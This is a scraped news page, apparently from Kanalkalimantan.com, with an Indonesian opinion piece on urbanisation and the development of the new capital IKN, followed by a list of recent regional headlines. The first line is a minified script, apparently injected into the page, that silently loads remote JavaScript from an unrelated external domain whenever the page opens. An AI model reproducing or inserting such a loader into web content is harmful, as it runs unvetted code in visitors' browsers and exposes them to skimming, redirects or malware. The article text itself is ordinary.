(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
OPINI

Urbanisasi, Pembangunan IKN dan Dampak Ikutannya


Urbanisasi merupakan proses menjadi kota atau dikenal dengan urbanize -diambil dari kompaspedia.kompas.id-. Pengertian lain menurut Ensiklopedi Nasional Indonesia, urbanisasi adalah proses kenaikan proporsi jumlah penduduk yang tinggal di kota.

Jika mengambil dari kedua pengertian tersebut, urbanisasi merupakan proses pengkotaan yang ditandai dengan bertambahnya proporsi jumlah penduduk kota.

IKN atau Ibu Kota Nusantara, belakangan banyak yang menyebut kota tersebut sebagai kota hantu. Pembangunan IKN meliputi berbagai tantangan seperti masalah pendanaan yang masih bergantung pada APBN, tapi belum memadai terkait persiapan lahan, termasuk isu pelepasan kawasan hutan dan sertifikat.

Baca juga: Baznas Balangan Salurkan Bantuan untuk Masyarakat Berbagai Bidang

Kendala logistik, seperti manajemen rantai pasok serta pasokan material dan air. Selain itu, isu-isu lain mencakup potensi dampak lingkungan, isu legalitas dan hak tanah masyarakat adat, serta lambatnya progres pembangunan yang menimbulkan keraguan publik.

Ada banyak dampak dari pembangunan IKN baik dampak positif maupun dampak negatif. Dampak positif dari pembangunan IKN adalah pemerataan pembangunan dan ekonomi ke luar Pulau Jawa. Penciptaan lapangan kerja baru, pertumbuhan ekonomi daerah melalui sektor konstruksi dan jasa, serta pembangunan infrastruktur modern yang meningkatkan konektivitas.

Hanya saja, tentu ada dampak buruk dari pembangunan IKN, antara lain, masalah lingkungan seperti deforestasi, kerusakan ekosistem, dan keterbatasan air bersih, serta dampak sosial seperti penggusuran masyarakat adat dan potensi konflik akibat eksodus penduduk.

Baca juga: Balangan Raih Kabupaten Terinovatif Indeks Inovasi Daerah IGA 2025

Selain itu pembangunan ini dapat menyebabkan polusi udara dan air, peningkatan utang negara dan ketimpangan yang dapat memperburuk stabilitas sosial. (Kanalkalimantan.com/kk)

Editor: kk


Risa

Recent Posts

Digitalisasi Pajak Lewat Bimtek Aplikasi SAPAT Kolaborasi BPPRD Banjarbaru – Bank Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru terus mempercepat transformasi digital dalam tata kelola keuangan daerah.… Read More

6 jam ago

Apresiasi Pemko Banjarmasin untuk Pembagian 2.500 Sepatu

KANALKALIMANTAN.COM, BANJARMASIN - Kota Banjarmasin menjadi lokasi kegiatan berbagi 2.500 sepatu ke anak sekolah oleh… Read More

9 jam ago

Unjuk Rasa Menuntut Solusi Banjir Kalsel di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rakyat Peduli Negara dan Bangsa (Forpeban) Kalimantan Selatan (Kalsel) menggelar unjuk… Read More

10 jam ago

PUPR Kalsel Beberkan Rencana Pembangunan Jembatan Barito Dua

KANALKALIMANTAN.COM, BANJARBARU - Pemprov Kalsel fokus pada penyusunan dan peninjauan detail engineering design (DED) sebagai bagian… Read More

10 jam ago

Kabupaten Banjar Raih UHC Award Tahun 2026 Kategori Madya

KANALKALIMANTAN.COM, JAKARTA – Di bawah kepemimpinan Bupati Banjar H Saidi Mansyur, Pemerintah Kabupaten Banjar kembali… Read More

10 jam ago

Korem 101/Antasari Bagikan 2.500 Sepatu ke Anak Sekolah Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Merayakan Hari Ulang Tahun (HUT) ke-46 Komando Resor Militer (Korem) 101/Antasari membagikan… Read More

10 jam ago

This website uses cookies.